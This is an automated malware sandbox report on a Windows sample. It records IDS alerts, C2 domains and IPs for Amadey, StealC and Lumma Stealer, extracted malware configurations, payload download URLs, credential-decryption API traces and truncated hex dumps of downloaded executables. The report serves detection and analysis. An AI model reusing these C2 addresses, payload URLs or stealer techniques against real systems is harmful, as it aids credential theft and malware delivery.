2024-10-07T03:23:21.613978+0200	2056481	1	Domain Observed Used for C2 Detected	192.168.2.4	62676	1.1.1.1	53	UDP
2024-10-07T03:23:43.150741+0200	2056481	1	Domain Observed Used for C2 Detected	192.168.2.4	56035	1.1.1.1	53	UDP
2024-10-07T03:24:07.025019+0200	2056481	1	Domain Observed Used for C2 Detected	192.168.2.4	49932	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T03:23:21.589812+0200	2056483	1	Domain Observed Used for C2 Detected	192.168.2.4	51433	1.1.1.1	53	UDP
2024-10-07T03:23:43.140460+0200	2056483	1	Domain Observed Used for C2 Detected	192.168.2.4	52889	1.1.1.1	53	UDP
2024-10-07T03:24:07.014039+0200	2056483	1	Domain Observed Used for C2 Detected	192.168.2.4	63822	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T03:23:21.683050+0200	2056473	1	Domain Observed Used for C2 Detected	192.168.2.4	55038	1.1.1.1	53	UDP
2024-10-07T03:23:43.193494+0200	2056473	1	Domain Observed Used for C2 Detected	192.168.2.4	58735	1.1.1.1	53	UDP
2024-10-07T03:24:07.091065+0200	2056473	1	Domain Observed Used for C2 Detected	192.168.2.4	63468	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T03:23:21.575022+0200	2056485	1	Domain Observed Used for C2 Detected	192.168.2.4	65496	1.1.1.1	53	UDP
2024-10-07T03:23:43.128999+0200	2056485	1	Domain Observed Used for C2 Detected	192.168.2.4	56170	1.1.1.1	53	UDP
2024-10-07T03:24:06.999080+0200	2056485	1	Domain Observed Used for C2 Detected	192.168.2.4	56028	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T03:23:21.662027+0200	2056475	1	Domain Observed Used for C2 Detected	192.168.2.4	50272	1.1.1.1	53	UDP
2024-10-07T03:23:43.183098+0200	2056475	1	Domain Observed Used for C2 Detected	192.168.2.4	51058	1.1.1.1	53	UDP
2024-10-07T03:24:07.080294+0200	2056475	1	Domain Observed Used for C2 Detected	192.168.2.4	63695	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T03:23:21.626466+0200	2056479	1	Domain Observed Used for C2 Detected	192.168.2.4	49186	1.1.1.1	53	UDP
2024-10-07T03:23:43.161724+0200	2056479	1	Domain Observed Used for C2 Detected	192.168.2.4	54310	1.1.1.1	53	UDP
2024-10-07T03:24:07.045887+0200	2056479	1	Domain Observed Used for C2 Detected	192.168.2.4	50984	1.1.1.1	53	UDP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T03:23:16.011313+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49854	185.215.113.37	80	TCP
2024-10-07T03:23:34.740482+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	61131	185.215.113.37	80	TCP
2024-10-07T03:23:59.307685+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	61184	185.215.113.37	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T03:23:06.470678+0200	2856147	1	A Network Trojan was detected	192.168.2.4	49788	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T03:23:12.788051+0200	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.4	49804	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T03:23:09.457328+0200	2803305	3	Unknown Traffic	192.168.2.4	49810	185.215.113.103	80	TCP
2024-10-07T03:23:14.334415+0200	2803305	3	Unknown Traffic	192.168.2.4	49842	185.215.113.103	80	TCP
2024-10-07T03:23:18.561231+0200	2803305	3	Unknown Traffic	192.168.2.4	49879	185.215.113.103	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: 8ObkdHP9Hq.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.37	URL Reputation: Label: malware
Source: https://steamcommunity.com/profiles/76561199724331900	URL Reputation: Label: malware
Source: https://steamcommunity.com/profiles/76561199724331900/inventory/	URL Reputation: Label: malware
Source: http://185.215.113.37/	URL Reputation: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	Avira: detection malicious, Label: TR/Crypt.ZPACK.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Avira: detection malicious, Label: TR/Crypt.ZPACK.Gen

Found malware configuration

Source: 00000005.00000002.2955176966.0000000000DA1000.00000040.00000001.01000000.00000007.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 44.2.num.exe.b80000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Multi AV Scanner detection for domain / URL

Source: https://bathdoomgaz.store:443/api	Virustotal: Detection: 13%	Perma Link
Source: http://185.215.113.103/luma/random.exe	Virustotal: Detection: 20%	Perma Link
Source: http://185.215.113.103/test/num.exe	Virustotal: Detection: 25%	Perma Link
Source: http://185.215.113.43/Zu7JuNko/index.php	Virustotal: Detection: 17%	Perma Link
Source: http://185.215.113.37/e2b1563c6670f193.phpu	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.43/Zu7JuNko/index.phpncoded	Virustotal: Detection: 12%	Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	ReversingLabs: Detection: 23%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	ReversingLabs: Detection: 28%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\num[1].exe	ReversingLabs: Detection: 82%
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	ReversingLabs: Detection: 23%
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	ReversingLabs: Detection: 82%
Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	ReversingLabs: Detection: 28%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	ReversingLabs: Detection: 52%

Multi AV Scanner detection for submitted file

Source: 8ObkdHP9Hq.exe	ReversingLabs: Detection: 52%
Source: 8ObkdHP9Hq.exe	Virustotal: Detection: 56%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\num[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: 8ObkdHP9Hq.exe

Joe Sandbox ML: detected

Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Code function: 20_2_00B8C820 memset,lstrlenA,CryptStringToBinaryA,memcpy,lstrcatA,lstrcatA,lstrcatA,	20_2_00B8C820
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Code function: 20_2_00B98EA0 CryptBinaryToStringA,GetProcessHeap,HeapAlloc,CryptBinaryToStringA,	20_2_00B98EA0
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Code function: 20_2_00B89AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	20_2_00B89AC0
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Code function: 20_2_00B87240 GetProcessHeap,HeapAlloc,CryptUnprotectData,WideCharToMultiByte,LocalFree,	20_2_00B87240
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Code function: 20_2_00B89B60 CryptUnprotectData,LocalAlloc,memcpy,LocalFree,	20_2_00B89B60

Source: 8ObkdHP9Hq.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49792 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49893 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49900 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.4:61026 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.4:61043 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.4:61176 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.199.218.33:443 -> 192.168.2.4:61189 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.4:61190 version: TLS 1.2

Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Code function: 6_2_00B8DBBE lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,	6_2_00B8DBBE
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Code function: 6_2_00B968EE FindFirstFileW,FindClose,	6_2_00B968EE
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Code function: 6_2_00B9698F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime,	6_2_00B9698F
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Code function: 6_2_00B8D076 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	6_2_00B8D076
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Code function: 6_2_00B8D3A9 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	6_2_00B8D3A9
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Code function: 6_2_00B99642 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	6_2_00B99642
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Code function: 6_2_00B9979D SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	6_2_00B9979D
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Code function: 6_2_00B99B2B FindFirstFileW,Sleep,FindNextFileW,FindClose,	6_2_00B99B2B
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Code function: 6_2_00B95C97 FindFirstFileW,FindNextFileW,FindClose,	6_2_00B95C97
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Code function: 20_2_00B938B0 wsprintfA,FindFirstFileA,lstrcatA,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcatA,lstrlenA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	20_2_00B938B0
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Code function: 20_2_00B8E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	20_2_00B8E430
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Code function: 20_2_00B8ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	20_2_00B8ED20
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Code function: 20_2_00B94910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	20_2_00B94910
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Code function: 20_2_00B94570 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA,	20_2_00B94570
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Code function: 20_2_00B8F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	20_2_00B8F6B0
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Code function: 20_2_00B93EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	20_2_00B93EA0
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Code function: 20_2_00B8DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	20_2_00B8DA80
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Code function: 20_2_00B816D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	20_2_00B816D0
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Code function: 20_2_00B8DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	20_2_00B8DE10
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Code function: 20_2_00B8BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	20_2_00B8BE70

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.4:49788 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.4:49804
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49836 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49872 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49854 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2056471 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site) : 192.168.2.4:60282 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056485 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store) : 192.168.2.4:65496 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056479 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store) : 192.168.2.4:49186 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056475 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store) : 192.168.2.4:50272 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056481 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store) : 192.168.2.4:62676 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056477 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store) : 192.168.2.4:53746 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056483 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store) : 192.168.2.4:51433 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056473 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site) : 192.168.2.4:55038 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:61038 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:61131 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2056471 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site) : 192.168.2.4:51649 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056483 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store) : 192.168.2.4:52889 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056485 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store) : 192.168.2.4:56170 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056475 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store) : 192.168.2.4:51058 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056473 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site) : 192.168.2.4:58735 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056485 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store) : 192.168.2.4:56028 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056481 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store) : 192.168.2.4:49932 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056471 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site) : 192.168.2.4:62159 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056473 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site) : 192.168.2.4:63468 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056477 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store) : 192.168.2.4:63294 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056481 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store) : 192.168.2.4:56035 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056483 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store) : 192.168.2.4:63822 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056479 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store) : 192.168.2.4:54310 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056475 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store) : 192.168.2.4:63695 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056479 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store) : 192.168.2.4:50984 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056477 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store) : 192.168.2.4:49352 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:61184 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:61043 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:61043 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:61190 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:61190 -> 104.21.53.8:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.37/e2b1563c6670f193.php
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic

TCP traffic: 192.168.2.4:61010 -> 1.1.1.1:53

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 07 Oct 2024 01:23:09 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 07 Oct 2024 01:11:45 GMTETag: "e0600-623d8b459b4e3"Accept-Ranges: bytesContent-Length: 919040Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 49 35 03 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 56 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 0e 00 00 04 00 00 a3 56 0e 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 b8 9b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 0d 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b8 9b 00 00 00 40 0d 00 00 9c 00 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 e0 0d 00 00 76 00 00 00 90 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 07 Oct 2024 01:23:14 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Sun, 29 Sep 2024 08:19:54 GMTETag: "4cc00-6233dc0bf3e80"Accept-Ranges: bytesContent-Length: 314368Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 f0 69 01 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 10 26 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 28 aa 02 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 25 00 